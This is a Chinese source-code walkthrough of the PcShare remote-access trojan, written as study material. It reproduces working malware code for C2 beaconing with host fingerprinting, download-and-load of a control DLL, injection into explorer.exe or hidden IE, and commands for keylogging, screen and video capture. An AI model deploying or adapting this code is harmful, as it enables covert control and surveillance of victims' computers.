前言
pcshare 是一款功能强大的计算机远程控制软件,采用 HTTP 反向通信,有超强的隐藏和自我修复等功能。
代码下载:https://github.com/xdnice/PCShare
注意:本文分析仅供个人学习研究,不可用于商业用途和任何非法用途,否则后果自负。
源码编译
源码下载之后,直接升级编译即可。
打开 pcshare 解决方案文件,有 12 个工程。
其中 PcShare 为远程控制的控制端主工程界面,PcStat 为被控端的母体文件,PcClient 为 PcStat 释放并加载的被控端组成之一,主要用于建立 HTTP 连接,并将本地主机信息通过 HTTP GET 请求方式发送给控制端进行上线,建立 HTTP 上线连接成功后,会请求并下载后续进行交互执行具体命令请求的控制 dll—PcCortr,后续的交互操作就是控制端下达控制命令,由控制 dll 执行命令,并将命令的执行结果反馈给控制端显示,以此来达到远程控制目标主机的目的。
代码分析
为了方便调试分析 pcshare 的交互过程,需要提前设置一些配置属性,在被控端的母体程序中将控制端的 ip 地址和端口号以及下发控制 dll 的文件名称和被控端启动方式在 PcStat 工程中配置了(PcStat.cpp CPcStatApp::InsertDllToProcess 中进行配置 L76)。
这些启动配置信息根据实际情况进行设置。
pcshare 服务端逻辑
首先看一下 pcshare 网络框架的服务端部分。
一般来说网络程序分为服务端和客户端程序。pcshare 的服务端程序集成在控制端中(PcShare 工程),其采用 MFC 框架编写,所以从 CPcShareApp::InitInstance 函数查看控制端程序逻辑,在该函数内部,在进行了一些初始化操作之后,会通过 CMainFrame::StartWork 函数建立网络服务。
建立网络服务前的初始化操作包括:
* 创建名为 `PcShare2005` 的互斥体对象,保证单一实例运行;
* 初始化 windows 下 socket 环境;
* 初始化界面相关信息。
BOOL CPcShareApp::InitInstance()
{
//保证只启动一次
m_LockHandle = CreateMutex(NULL,TRUE,"PcShare2005");
if(m_LockHandle == NULL ||
GetLastError() == ERROR_ALREADY_EXISTS)
return FALSE;
ReleaseMutex(m_LockHandle);
//初始化SOCKET环境
WSADATA data;
if(WSAStartup(MAKEWORD(2, 2), &data))
return FALSE;
if (LOBYTE(data.wVersion) !=2 ||
HIBYTE(data.wVersion) != 2)
{
WSACleanup();
return FALSE;
}
//初始化控件环境
AfxEnableControlContainer();
//Enable3dControls();
CoInitialize(NULL);
memset(&m_MainValue, 0, sizeof(m_MainValue));
//启动主界面
CMainFrame* pFrame = new CMainFrame;
m_pMainWnd = pFrame;
pFrame->LoadFrame(IDR_MAINFRAME);
pFrame->ShowWindow(SW_SHOWMAXIMIZED);
pFrame->ResizeWnd();
pFrame->UpdateWindow();
pFrame->StartWork();
return TRUE;
}
在 CMainFrame::StartWork 函数内部,完成了4件事
* 获取本地 IP 地址列表,显示到事件窗口中;
* 设置窗口标题:`PcShare2005(VIP版本)-主控界面: 【本机ip地址列表】` ;
* 通过读取配置文件获取开启 TCP 服务器监听的端口号,并开启监听(SOCKET StartTcp(WORD Port));
* 开启一个工作线程用于等待被控端连接,线程函数为 MyGlobalFuc.cpp — SOCKET StartTcp(WORD Port) 函数
void CMainFrame::StartWork()
{
//连接主页
//取INI文件名称
char m_IniFileName[256] = { 0 };
GetIniFileName(m_IniFileName);
//取IP地址列表信息
PHOSTENT hostinfo;
char name[512] = { 0 };
if (gethostname(name, sizeof(name)) != 0 ||
(hostinfo = gethostbyname(name)) == NULL)
{
ShowMyText("取本地地址列表失败", TRUE);
return;
}
CString m_AddrList;
struct sockaddr_in dest;
for (int i = 0; hostinfo->h_addr_list[i] != NULL; i++)
{
memcpy(&(dest.sin_addr),
hostinfo->h_addr_list[i],
hostinfo->h_length);
m_AddrList += inet_ntoa(dest.sin_addr);
m_AddrList += "-";
}
char m_Text[512] = { 0 };
sprintf(m_Text, "本机IP地址列表:【%s】",
m_AddrList.Left(m_AddrList.GetLength() - 1));
ShowMyText(m_Text, FALSE);
wsprintf(m_Text, "PcShare2005(VIP版本)-主控界面: %s", m_AddrList.Left(m_AddrList.GetLength() - 1));
SetWindowText(m_Text);
//打开上线侦听端口
char m_sPortMain[100] = { 0 };
GetPrivateProfileString("设置", "自动上线连接端口", "80", m_sPortMain, 99, m_IniFileName);
m_MainSocket = StartTcp(atoi(m_sPortMain));
if (m_MainSocket == NULL)
{
ShowMyText("控制端口被占用,初始化失败,请关闭iis服务!", TRUE);
return;
}
wsprintf(m_Text, "本机侦听端口【%s】", m_sPortMain);
ShowMyText(m_Text, FALSE);
//启动侦听线程
ShowMyText("初始化成功,等待客户连接", FALSE);
UINT m_Id = 0;
_beginthreadex(NULL, 0, MyMainThread, (LPVOID)m_MainSocket, 0, &m_Id);
}
其中 SOCKET StartTcp(WORD Port) 函数主要完成了对服务端监听套接字的配置,在函数内部会完成开启网络服务的操作,其中包括:
* 创建一个`阻塞`的 socket;
* 绑定本机地址(INADDR_ANY);
* 设置 socket 发送和接收数据的超时时间;
* 监听从配置文件获取到的端口号;
如果一切执行顺利,将返回一个阻塞的 socket,并开启网络服务监听。
SOCKET StartTcp(WORD Port)
{
SOCKET sListenSocket;
sockaddr_in addr;
int optval = 600 * 1000;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(Port);
sListenSocket = socket(AF_INET, SOCK_STREAM, 0);
if (sListenSocket == INVALID_SOCKET)
return NULL;
if (bind(sListenSocket, (sockaddr*)&addr, sizeof(addr))
== SOCKET_ERROR)
{
closesocket(sListenSocket);
return NULL;
}
if (setsockopt(sListenSocket, SOL_SOCKET, SO_SNDTIMEO,
(char *)&optval, sizeof(optval))
== SOCKET_ERROR)
{
closesocket(sListenSocket);
return NULL;
}
if (setsockopt(sListenSocket, SOL_SOCKET, SO_RCVTIMEO,
(char *)&optval, sizeof(optval))
== SOCKET_ERROR)
{
closesocket(sListenSocket);
return NULL;
}
if (listen(sListenSocket, SOMAXCONN) == SOCKET_ERROR)
{
closesocket(sListenSocket);
return NULL;
}
return sListenSocket;
}
创建的工作线程最终将会执行 MyMainThread 函数(MyThreadFunc.cpp),该函数主要完成了
* 等待被控端客户端连接;
* 为每个被控端创建一个线程处理后续的交互。
一旦有被控端成功接入,将得到一个新的 socket ,这个 socket 区别与之前开启网络服务创建的监听 socket ,该处的 socket 用于与连接上的被控端进行通信。由于监听 socket 是阻塞的,所以,此处的 accept 函数会在没等到被控端成功接入时会一直阻塞所属的工作线程的执行。所以这就是为什么又要额外的为每一个被控端创建一个单独的线程进行后续交互。另外这个无限循环只有当 accept 调用失败才会退出。
//侦听线程
UINT WINAPI MyMainThread(LPVOID lPvoid)
{
UINT m_Id = 0;
SOCKET m_LisSocket = (SOCKET)lPvoid;
SOCKET m_AccSocket = 0;
while (1)
{
//等待客户连接
if ((m_AccSocket = accept(m_LisSocket, 0, 0)) == INVALID_SOCKET)
break;
//启动客户签到线程
_beginthreadex(NULL, 0, MyChildThread, (LPVOID)m_AccSocket, 0, &m_Id);
}
closesocket(m_LisSocket);
return 0;
}
此时线程情况如下。
一旦有被控端成功接入成功,程序将创建一个工作线程用于与接入的被控端进行交互,该线程的执行流函数为 MyChildThread(MyThreadFunc.cpp)
在该线程函数的回调函数内部,通过 AcceptClientMain (MyGlobalFuc.cpp L64)解析被控端的登陆请求,成功解析后会获得被控端请求的类型。
//接收连接线程
UINT WINAPI MyChildThread(LPVOID lPvoid)
{
LOG_NORMAL("Start MyChildThread successfully, ThreadID = %u.", ::GetCurrentThreadId());
//交易处理
SOCKET sClientSocket = (SOCKET)lPvoid;
CLIENTITEM clientItem = { 0 };
int nCmd = AcceptClientMain(sClientSocket, &clientItem);
LOG_NORMAL("Client cmd = %d", nCmd);
if (nCmd == -1)
closesocket(sClientSocket);
else if (nCmd == CONN_MAIN)
LoginTrans(sClientSocket, &clientItem);
else
InterTrans(sClientSocket, &clientItem, nCmd);
return 0;
}
在 AcceptClientMain 函数中
-
首先解析被控端发送的 HTTP 请求头
-
之后解析 GET 请求的数据,根据双方规定的消息格式,进行解析
int AcceptClientMain(SOCKET s,LPCLIENTITEM pData)
{
char ch = 0;
int nlinelen = 0;
char slinedata[8192] = {0};
int ret = 0;
//接收一行数据
while(1)
{
//接收一个字符
ret = recv(s,&ch,1,0);
if(ret == 0 || ret == SOCKET_ERROR || m_MainValue.m_IsMainExit)
return -1;
//提取数据
slinedata[nlinelen] = ch;
if(nlinelen >= 4 &&
slinedata[nlinelen] == 'n' &&
slinedata[nlinelen - 1] == 'r' &&
slinedata[nlinelen - 2] == 'n' &&
slinedata[nlinelen - 3] == 'r')
break;
if(nlinelen++ > 8000)
return -1;
}
TRACE("%sn",slinedata);
char* pFlag = strchr(slinedata,'/');
if(pFlag == NULL) return -1;
if(*(pFlag + 1) == '/')
{
pFlag += 2;
pFlag = strchr(pFlag,'/');
if(pFlag == NULL) return -1;
}
pFlag ++;
//取连接类型
char m_sCommand[10] = {0};
memcpy(m_sCommand,pFlag,4);
int m_Command = atoi(m_sCommand);
//查看命令是否合法
if(m_Command > 4999 || m_Command < 3000)
return -1;
//拷贝login数据
AscToBcd((BYTE*)(pFlag + 4), (BYTE*) &pData->m_SysInfo, sizeof(LOGININFO) * 2);
return m_Command;
}
在测试过程中,接收到的请求头为:
其中双方的消息格式,用结构体表示如下,可以结合被控端的请求对应来看。
struct Login
{
int command; // 命令号,前四个字符
char externData[2048]; // 后面的数据
};
被控端使用 GET 请求的 URL :
AcceptClientMain 函数经过一定处理后,会解析出命令号
之后在还原登陆请求,该登陆请求为被控端主机相关信息,具体在后续被控端分析。
解析完成后,将根据解析出来的命令号,来决定走哪一个分支:
当是上线请求时,会执行 LoginTrans 函数 (MyThreadFunc.cpp),在该函数内部
-
首先响应客户端的请求;
-
之后下发控制文件 dll,被控端将下载这个 dll 文件进行后续控制;
-
如果该连接已经上线,那么启动套接字关闭事件通知,从界面上移除该主机;
-
填充客户端信息,通知 UI 界面(通过发送消息 WM_ADDCLIENT),添加一个新的客户端信息。
void LoginTrans(SOCKET s, LPCLIENTITEM pData)
{
//回送确认包头信息
if (!SendKeepAlive(s))
return;
//发送机器控制文件
char m_FileName[512] = "PcCortr.dll";
GetMyFilePath(m_FileName);
if (!SendFile(s, m_FileName))
return;
//支持自动更新
if (pData->m_SysInfo.m_PcName[61] == 1)
{
strcpy(m_FileName, "PcStat.exe");
GetMyFilePath(m_FileName);
if (!SendFile(s, m_FileName))
return;
strcpy(m_FileName, "PcClient.dll");
GetMyFilePath(m_FileName);
if (!SendFile(s, m_FileName))
return;
}
//启动套接字关闭事件通知
if (WSAAsyncSelect(s, m_MainValue.m_MainhWnd, WM_CLOSEITEM, FD_CLOSE) == SOCKET_ERROR)
{
closesocket(s);
return;
}
//填充客户信息
sockaddr_in m_addr = { 0 };
int addrlen = sizeof(sockaddr_in);
getpeername(s, (sockaddr*)&m_addr, &addrlen);
char mTid[9] = { 0 };
memcpy(mTid, pData->m_SysInfo.ID, 8);
sprintf(pData->m_Title, "%03d.%03d.%03d.%03d:%s",
m_addr.sin_addr.S_un.S_un_b.s_b1,
m_addr.sin_addr.S_un.S_un_b.s_b2,
m_addr.sin_addr.S_un.S_un_b.s_b3,
m_addr.sin_addr.S_un.S_un_b.s_b4,
mTid);
CTime tLogin = CTime::GetCurrentTime();
pData->m_LoginTime = (time_t)tLogin.GetTime();
pData->m_WorkSocket = s;
//通知主框架建立了连接
if (!SendMessage(m_MainValue.m_MainhWnd, WM_ADDCLIENT, (WPARAM)pData, 0))
{
closesocket(s);
}
}
此时,主控端界面上将显示上线的被控端信息
其中响应被控端的请求是通过 SendKeepAlive (MyThreadFunc.cpp)函数完成的:
-
拼接出响应被控端请求的响应头;
-
之后通过 SendData 函数响应被控端请求。
bool SendKeepAlive(SOCKET s)
{
char m_sCommand[512] = { 0 };
char m_Strlen[256];
strcpy(m_sCommand, "HTTP/1.1 200 OKrn");
strcat(m_sCommand, "Server: Microsoft-IIS/5.0rn");
CTime t = CTime::GetCurrentTime();
sprintf(m_Strlen, "Date: %s GMTrn",
t.FormatGmt("%a, %d %b %Y %H:%M:%S"));
strcat(m_sCommand, m_Strlen);
sprintf(m_Strlen, "Content-Length: %drn"
, 1024 * 1024 * 1024);
strcat(m_sCommand, m_Strlen);
strcat(m_sCommand, "Connection: Closern");
strcat(m_sCommand, "Cache-Control: no-cachernrn");
if (!SendData(s, m_sCommand, strlen(m_sCommand)))
{
closesocket(s);
return false;
}
return true;
}
拼接出的响应头:
响应代码是通过 SendData (MyGlobalFuc.cpp)完成的,内部就是不断发送指定长度的数据给对端。
BOOL SendData(SOCKET s, char *data, int len)
{
char * p = data;
int i = 0;
int k = len;
int ret = 0;
if (len <= 0) return TRUE;
while (1)
{
ret = send(s, p, k, 0);
if (ret == 0 || ret == SOCKET_ERROR
|| g_MainValue.m_IsMainExit)
{
TRACE("SendData OUT,%dn", WSAGetLastError());
return FALSE;
}
i += ret;
p += ret;
k -= ret;
if (i >= len) break;
}
return TRUE;
}
其中下发控制文件 dll 是通过读取当前工作目录下的 PcCortr.dll 文件内容,并通过 SendFile (MyThreadFunc.cpp)下发至被控端。
BOOL SendFile(SOCKET s, char* pFileName)
{
FILE* fp = fopen(pFileName, "rb");
if (fp == NULL)
{
closesocket(s);
return FALSE;
}
fseek(fp, 0, SEEK_END);
int nLen = ftell(fp);
fseek(fp, 0, SEEK_SET);
char* pFileBuf = new char[nLen];
fread(pFileBuf, nLen, 1, fp);
fclose(fp);
if (!SendData(s, (char*)&nLen, sizeof(int)) ||
!SendData(s, pFileBuf, nLen))
{
delete[] pFileBuf;
closesocket(s);
return FALSE;
}
delete[] pFileBuf;
return TRUE;
}
至此,服务端处理被控端的上线逻辑分析完毕。
当然,还有一个分支逻辑是与控制 DLL 进行后续通信的,在此没做分析。
pchsare 客户端逻辑
客户端的执行逻辑,可以分为3个阶段。
* 第一阶段:执行母体程序 PcStat.exe ,用于释放出用于建立 HTTP 连接进行上线的 PcClient.dll;
* 第二阶段:PcClient.dll 被加载执行,与控制端建立 HTTP 连接,发送上线请求,并接收第三阶段的控制 DLL (PcCortr.dll),之后加载控制 dll ,进入第三阶段;
* 第三阶段:与控制端建立发送和接收的 HTTP 通道,进行后续的控制指令交互。
第一阶段:释放并加载上线 DLL
第一阶段的逻辑可以从被控端的母体程序 PcStat 工程进行分析,同样 PcStat 是一个 MFC 程序,直接从 CPcStatApp::InitInstance 进行查看,从代码逻辑上看,母体文件最终会释放上线 DLL 文件(CPcStatApp::LoadInitInfo PcStat.cpp L185),但为了方便调试,这里直接加载了第二阶段执行的 DLL 文件(PcClient.dll)。
BOOL CPcStatApp::InitInstance()
{
// __asm{int 3};
//创建任务事件
m_ExitEvent = CreateEvent(NULL,TRUE,FALSE,AfxGetAppName());
if(m_ExitEvent == NULL || GetLastError() == ERROR_ALREADY_EXISTS)
return FALSE;
//生成连接库文件
char m_FileName[256] = {0};
if(!LoadInitInfo(m_FileName)) return FALSE;
//装载连接dll
//HMODULE m_Module = LoadLibrary(m_FileName);
HMODULE m_Module = LoadLibrary("PcClient.dll");
if(m_Module == NULL) return FALSE;
//启动连接
InsertDllToProcess(m_Module);
//释放资源
FreeLibrary(m_Module);
return TRUE;
}
释放成功后,母体程序会加载释放的 DLL 并调用其导出函数 PcClient.dll 执行,在 CPcStatApp::InsertDllToProcess 函数内部,获得了 PlayWork 的函数地址后,将根据生成器中配置的启动方式,决定上线 DLL 的执行方式。
void CPcStatApp::InsertDllToProcess(HMODULE m_Module)
{
//取PcClient.dll中导出函数PlayWork
PLAYWORK PlayWork = (PLAYWORK)GetProcAddress(m_Module, "PlayWork");
if (PlayWork == NULL) return;
// for debugging
m_Info.m_ProcessName[0] = 2;
strcpy(m_Info.m_ServerAddr, "127.0.0.1");
m_Info.m_ServerPort = 8081;
strcpy(m_Info.m_CtrlFile, "PcCortr.dll");
if (m_Info.m_ProcessName[0] == 0)
{
//插入到explorer.exe进程
if (!CheckProcess(m_Info.m_ProcessId))
{
//关闭等待事件句柄
CloseHandle(m_ExitEvent);
return;
}
}
else if (m_Info.m_ProcessName[0] == 1)
{
//插入到自启动ie
PROCESS_INFORMATION piProcInfo;
STARTUPINFO siStartInfo;
// Set up members of STARTUPINFO structure.
ZeroMemory(&siStartInfo, sizeof(STARTUPINFO));
GetStartupInfo(&siStartInfo);
siStartInfo.cb = sizeof(STARTUPINFO);
siStartInfo.wShowWindow = SW_HIDE;
siStartInfo.dwFlags = STARTF_USESHOWWINDOW;
char m_IePath[256] = "C:\Program Files\Internet Explorer\IEXPLORE.EXE";
char m_SysPath[256] = { 0 };
GetSystemDirectory(m_SysPath, 200);
m_IePath[0] = m_SysPath[0];
if (!CreateProcess(m_IePath, NULL, NULL, NULL, TRUE,
DETACHED_PROCESS, NULL, NULL, &siStartInfo, &piProcInfo))
{
CloseHandle(m_ExitEvent);
return;
}
//等待进程初始化
m_Info.m_ProcessId = (UINT)piProcInfo.dwProcessId;
WaitForInputIdle(piProcInfo.hProcess, 3000);
}
else
{
LOG_NORMAL("Application runs in standard-alone mode.");
//本进程启动
PlayWork(&m_Info);
WaitForSingleObject(m_ExitEvent, INFINITE);
CloseHandle(m_ExitEvent);
return;
}
//插入指定进程
if (PlayWork(&m_Info))
{
EnumWindows(EnumWindowsProc, m_Info.m_ProcessId);
WaitForSingleObject(m_ExitEvent, INFINITE);
}
//关闭等待事件句柄
CloseHandle(m_ExitEvent);
}
第二阶段:请求上线,下载控制 DLL
跟随程序的逻辑,最终可定位到 PcClient 工程的 BOOL PlayWork(LPINITDLLINFO pInitInfo) 函数。
在 PlayWork 函数内部,通过获取母体程序中嵌入的启动配置信息后,最终会调用 void SshWork::StartWork(LPINITDLLINFO pItem) 函数进入主逻辑流程。
BOOL PlayWork(LPINITDLLINFO pInitInfo)
{
//拷贝数据
memcpy(&g_InitInfo, pInitInfo, sizeof(INITDLLINFO));
//自进程启动
if (pInitInfo->m_ProcessName[0] == 2)
{
g_SshWork.StartWork(&g_InitInfo);
return TRUE;
}
//检查是否已经启动
if (g_hook != NULL) return FALSE;
//启动HOOK
g_hook = SetWindowsHookEx(WH_DEBUG, GetMsgProc, ghInstance, 0);
return (g_hook != NULL);
}
在 StartWork 函数内部的尾部会开启一个工作线程与控制端进行连接通信,其线程的执行流为 UINT WINAPI SshWork::SSH_WorkThread(LPVOID lPvoid) 函数。
void SshWork::StartWork(LPINITDLLINFO pItem)
{
//拷贝数据
memcpy(&m_InitInfo, pItem, sizeof(INITDLLINFO));
m_ExitEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
// ...
//启动相应工作线程序
UINT uThreadID = 0;
m_Thread = (HANDLE)_beginthreadex(NULL, 0, SSH_WorkThread, (LPVOID) this, 0, &uThreadID);
}
在 SSH_WorkThread 函数内部,会通过 GetHttpConnect 函数与主控端建立 HTTP 连接,并下载后续的持久化模块(PcCortr.dll),并加载到内存中,如果一切顺利,就获取 PcCortr.dll 模块的导出函数 ProcessTrans 并执行。在这个 while 循环中,每次循环将等待 3s ,用来判断是否有退出事件发生。一旦发生就会退出线程循环,并销毁资源,退出程序。
UINT WINAPI SshWork::SSH_WorkThread(LPVOID lPvoid)
{
//取工作指针
SshWork* pWork = (SshWork*) lPvoid;
//开始进入工作循环
while(1)
{
//建立连接
if(pWork->GetHttpConnect(&pWork->m_InitInfo))
{
//连接成功,开始处理交易
PROCESSTRANS ProcessTrans = (PROCESSTRANS)
GetProcAddress(pWork->hCtrlMd,"ProcessTrans");
if(ProcessTrans != NULL)
ProcessTrans(pWork->hFp , pWork->m_ExitEvent ,
pWork->m_InitInfo.m_ServerAddr ,
pWork->m_InitInfo.m_ServerPort ,
pWork->m_InitInfo.m_KeyName ,
pWork->m_InitInfo.m_ParentFile);
}
//休息等待指定时间
if(WaitForSingleObject(pWork->m_ExitEvent,
30000) != WAIT_TIMEOUT)
break;
}
//销毁资源
pWork->StopWork();
ExitProcess(0);
return 0;
}
该程序模块是通过 GetHttpConnect 函数进行 HTTP 连接的,其中建立连接使用的 API 函数为 Windows 封装好的 WinHttp 相关的 API,其一般的建立连接步骤是
1. 调用 `InternetOpen` 函数初始化 Internet API 的环境,并获得一个指向 Internet API 环境的句柄;
2. 调用 `InternetConnect` 函数建立连接到指定服务器;
3. 调用 `InternetOpenUrl` 建立 HTTP 连接和发送 HTTP 请求;
4. 调用 `InternetReadFile` 函数接收服务器返回的数据。
5. 在完成交互之后,调用 `InternetCloseHandle` 函数关闭句柄。
在 GetHttpConnect 函数内部,就是对上述 API 进行二次封装,并添加了一些请求设置和响应判断,比如:
* 调用 `InternetSetOption` 函数设置接收超时时间为24小时。
* 调用 `HttpQueryInfo` 函数查看请求的返回码,如果是 200 表示服务器成功处理请求。
之后就调用 DownloadFile 函数从服务器下载后续的持久化控制 dll,在此之前会判断该 dll 是否已经被加载,如果已经被加载,那么会将原来的卸载在重新从服务器拉取,并加载到内存中,后续根据控制 dll 的启动方式选择是否更新。
BOOL SshWork::GetHttpConnect(LPINITDLLINFO pInfo)
{
//关闭句柄
if(hIe != NULL)
{
CloseHttpHandle();
Sleep(2000);
}
//设置最大连接数量为100
DWORD nValue = 100;
if( !InternetSetOption(NULL,73,&nValue,sizeof(DWORD)) ||
!InternetSetOption(NULL,74,&nValue,sizeof(DWORD)))
return FALSE;
//查看是否有ddns
if(strlen(pInfo->m_DdnsUrl) != 0)
{
//需要分析DDNS
if(!GetDesServerInfo(pInfo, pInfo->m_DdnsUrl))
{
if(!GetDesServerInfo(pInfo, pInfo->m_BakUrl))
{
//检查两层DDNS
return FALSE;
}
}
}
//初始化HTTP环境
hIe = InternetOpen("Mozilla/4.0 (compatible; MSIE 6.0; "
"Windows NT 5.0; .NET CLR 1.1.4322)",
INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if(!hIe) return FALSE;
//填充上送当前客户信息
char m_Url[4096] = {0};
char m_ExternData[2048] = {0};
GetMySysInfo(m_ExternData);
sprintf(m_Url,"http://%s:%d/%d%s",
pInfo->m_ServerAddr,pInfo->m_ServerPort,
CONN_MAIN,m_ExternData);
//建立HTTP连接,上送数据
hFp = InternetOpenUrl(hIe ,
m_Url , NULL, 0,
INTERNET_FLAG_PRAGMA_NOCACHE|
INTERNET_FLAG_RELOAD|
INTERNET_FLAG_NO_CACHE_WRITE , 0);
if(!hFp)
{
CloseHttpHandle();
return FALSE;
}
DWORD m_TimeOut = 24 * 3600 * 1000;
if(!InternetSetOption(hFp,
INTERNET_OPTION_RECEIVE_TIMEOUT,&m_TimeOut,sizeof(DWORD)))
{
CloseHttpHandle();
return FALSE;
}
//查看返回码
char sCode[256] = {0};
DWORD nSize = 250;
DWORD nIndex = 0;
if(!HttpQueryInfo(hFp , HTTP_QUERY_STATUS_CODE ,
sCode , &nSize , &nIndex) || atoi(sCode) != 200)
{
CloseHttpHandle();
return FALSE;
}
//查看控制dll是否已经装载
if(hCtrlMd) FreeLibrary(hCtrlMd);
//接收控制文件
if(!DlFile(m_InitInfo.m_CtrlFile))
{
CloseHttpHandle();
return FALSE;
}
//装载控制dll文件
hCtrlMd = LoadLibrary(m_InitInfo.m_CtrlFile);
if(hCtrlMd == NULL)
{
CloseHttpHandle();
return FALSE;
}
//当不是本进程启动的时候,更新本进程
if(m_InitInfo.m_ProcessName[0] != 2)
{
if(!UpdateExeFile())
{
CloseHttpHandle();
return FALSE;
}
}
return TRUE;
}
其中在使用 InternetOpenUrl 函数建立 HTTP 请求的 URL 是根据当前主机的信息与服务器的 ip 和 port 拼接而成的。
ip 和 port 是通过生成器提前写入母体文件传递过来的,当前主机的信息则是通过自写 GetMySysInfo 函数获取得到的。
在函数内部,程序会获取当前主机的操作系统类型、CPU信息(速度和个数)、内存容量、计算机名称、当前用户名称、获取 C 盘的序列号并进行一定的加密(计算机名称前8个字符和转换后的 C 盘序列号)作为被控端的唯一标识(16个字符);在收集完成后,最终将转为一串由 0 和 1 组成的字符串。
void SshWork::GetMySysInfo(char* pTransData)
{
LOGININFO m_SysInfo = { 0 };
//取操作系统
m_SysInfo.m_SysType = IsShellSysType();
//取CPU信息
SYSTEM_INFO m_pSysInfo = { 0 };
GetSystemInfo(&m_pSysInfo);
m_SysInfo.m_CpuSpeed = getCpuSpeedFromRegistry();
m_SysInfo.m_CpuCount = (UINT)m_pSysInfo.dwNumberOfProcessors;
//取内存容量
MEMORYSTATUS Buffer = { 0 };
GlobalMemoryStatus(&Buffer);
m_SysInfo.m_MemContent = Buffer.dwTotalPhys / 1024;
//计算机名称
DWORD m_Len = 63;
GetComputerName(m_SysInfo.m_PcName, &m_Len);
m_SysInfo.m_PcName[60] = 0x00;
m_SysInfo.m_PcName[61] = 0x01;
//取用户名
DWORD len = 36;
GetUserName(m_SysInfo.m_UserName, &len);
m_SysInfo.m_UserName[37] = m_IsVideo;
//生成内部标识
DWORD SeriaNumber = 0;
GetVolumeInformation("C:\", NULL, NULL,
&SeriaNumber, NULL, NULL, NULL, NULL);
char m_DesKey[10] = { 0 };
sprintf(m_DesKey, "%08x", SeriaNumber);
char m_SmallBuf[100] = { 0 };
memset(m_SmallBuf, 0, sizeof(m_SmallBuf));
for (int i = 0; i < 8; i++)
{
m_SmallBuf[i] = m_SysInfo.
m_PcName[i] ^ m_DesKey[i];
}
BcdToAsc((BYTE*)m_SmallBuf, (BYTE*)
m_SysInfo.ID, 8);
BcdToAsc((BYTE*)&m_SysInfo,
(BYTE*)pTransData, sizeof(LOGININFO));
}
最终将拼接为类似如下的 URL
服务器成功响应的返回码为200
之后开始下载控制后续的控制 dll,通过对生成器分析,控制 dll 的名称为 PcCortr.dll
-
首先接收文件的长度
-
接收控制 dll 文件内容
-
保存到当前工作路径中,名称为 PcCortr.dll
BOOL SshWork::DownloadFile(char* pFileName)
{
//接收文件长度
int nFileLen = 0;
if (!RecvData(hFp, (char*)&nFileLen, sizeof(int)))
{
//接收文件长度失败
return FALSE;
}
//接收新的文件数据
char* pData = new char[nFileLen];
if (!RecvData(hFp, pData, nFileLen))
{
//更新数据失败
delete[] pData;
return FALSE;
}
//下装控制文件
FILE *fp = fopen(pFileName, "wb");
if (fp != NULL)
{
fwrite(pData, nFileLen, 1, fp);
fclose(fp);
}
delete[] pData;
return TRUE;
}
从服务器接收数据是通过 BOOL SshWork::RecvData(HINTERNET hFile, LPVOID pData, int DataLen) 函数完成的,它是对 InternetReadFile API 函数的封装,通过循环+数据偏移的形式不断从服务器中接收数据,直到全部接收完毕。
测试环境下接收到的文件。
下载完成后,会尝试将其加载到内存中。
至此,第二阶段的工作与控制端建立连接的工作完成,此阶段主要是下载用于后续交互控制的 dll 文件,并将其保存到本地并执行。
最终执行的函数为 PcCortr 工程的 ProcessTrans 函数。
第三阶段:进行后续命令交互执行
PcCortr 是一个 MFC DLL 程序,在被第二阶段加载之后,会调用 ProcessTrans 函数执行,函数内部首先进行了一些初始化后,会通过 DoWork 函数与控制端进行交互。
void ProcessTrans(HINTERNET hFp, HANDLE m_ExitEvent, char* pServerAddr,
int nServerPort, char* pRegInfo, char* pFileName)
{
AFX_MANAGE_STATE(AfxGetStaticModuleState());
CMyMainTrans myMainTrans;
myMainTrans.DoWork(hFp, m_ExitEvent, pServerAddr, nServerPort, pRegInfo, pFileName);
}
DoWork 函数主要是不断调用 ProcessCmd 函数处理与服务器之间的交互。
void CMyMainTrans::DoWork(HINTERNET HttpFp,
HANDLE hExitEvent,
char* pServerAddr,
int ServerPort,
char* pRegInfo,
char* pFileName)
{
//取任务信息
m_ServerPort = ServerPort;
hFp = HttpFp;
m_ExitEvent = hExitEvent;
strcpy(m_RegInfo, pRegInfo);
strcpy(m_FileName, pFileName);
strcpy(m_ServerAddr, pServerAddr);
//开始工作
while (ProcessCmd());
}
ProcessCmd 函数用于接收控制端发送的命令并进行处理。当接收到命令时,会根据命令的类型执行对应的操作。
BOOL CMyMainTrans::ProcessCmd()
{
//接收交易命令
CMDINFO m_CmdInfo = {0};
if(!RecvData(hFp,&m_CmdInfo,sizeof(CMDINFO)))
return FALSE;
//执行交易命令
switch(m_CmdInfo.m_Command)
{
//重启机器
case CLIENT_SYSTEM_RESTART :
SetEvent(m_ExitEvent);
ShutDownSystem(FALSE);
return FALSE;
//关闭机器
case CLIENT_SYSTEM_SHUTDOWN :
SetEvent(m_ExitEvent);
ShutDownSystem(TRUE);
return FALSE;
//卸载程序
case CLIENT_PRO_UNINSTALL :
MyRegDeleteKey(m_RegInfo);
DeleteFile(m_FileName);
{
char* pFind = strrchr(m_FileName,'\');
if(pFind != NULL)
{
char m_DesFile[256] = {0};
char m_SystemPath[256] = {0};
GetSystemDirectory(m_SystemPath,200);
sprintf(m_DesFile, "%s%s", m_SystemPath, pFind);
DeleteFile(m_DesFile);
}
}
SetEvent(m_ExitEvent);
return FALSE;
case CLIENT_PROXY :
{
closesocket(m_Info.m_soListen);
strcpy(m_Info.m_DesAddr, m_ServerAddr);
m_Info.m_DesPort = m_ServerPort;
m_Info.m_LocalPort = m_CmdInfo.m_DataLen;
m_Info.m_soListen = StartTcp(m_Info.m_LocalPort);
if(m_Info.m_soListen)
{
//启动侦听线程
_beginthread(ListenThread, 0,
(LPVOID) m_Info.m_soListen);
}
}
break;
//屏幕拷贝
case CLIENT_FRAME_START :
//文件管理
case CLIENT_FILES_START :
//超级终端
case CLIENT_TLNT_START :
//注册表管理
case CLIENT_REGEDIT_START :
//进程管理
case CLIENT_PROC_START :
//服务管理
case CLIENT_SERVICE_START :
//键盘监控
case CLIENT_KEYMON_START :
//视频监控
case CLIENT_MULIT_START :
StartClientCtrl(m_CmdInfo.m_Command);
break;
//错误命令
default : break;
}
//防止系统卡死
::Sleep(1);
return TRUE;
}
接收控制端发送的命令是通过 RecvData 函数实现的,它与第二阶段实现代码一致,前面已经分析过,不在此分析了。
其中接收的命令协议头为:
typedef struct _CMDINFO_
{
UINT m_Command; //操作命令
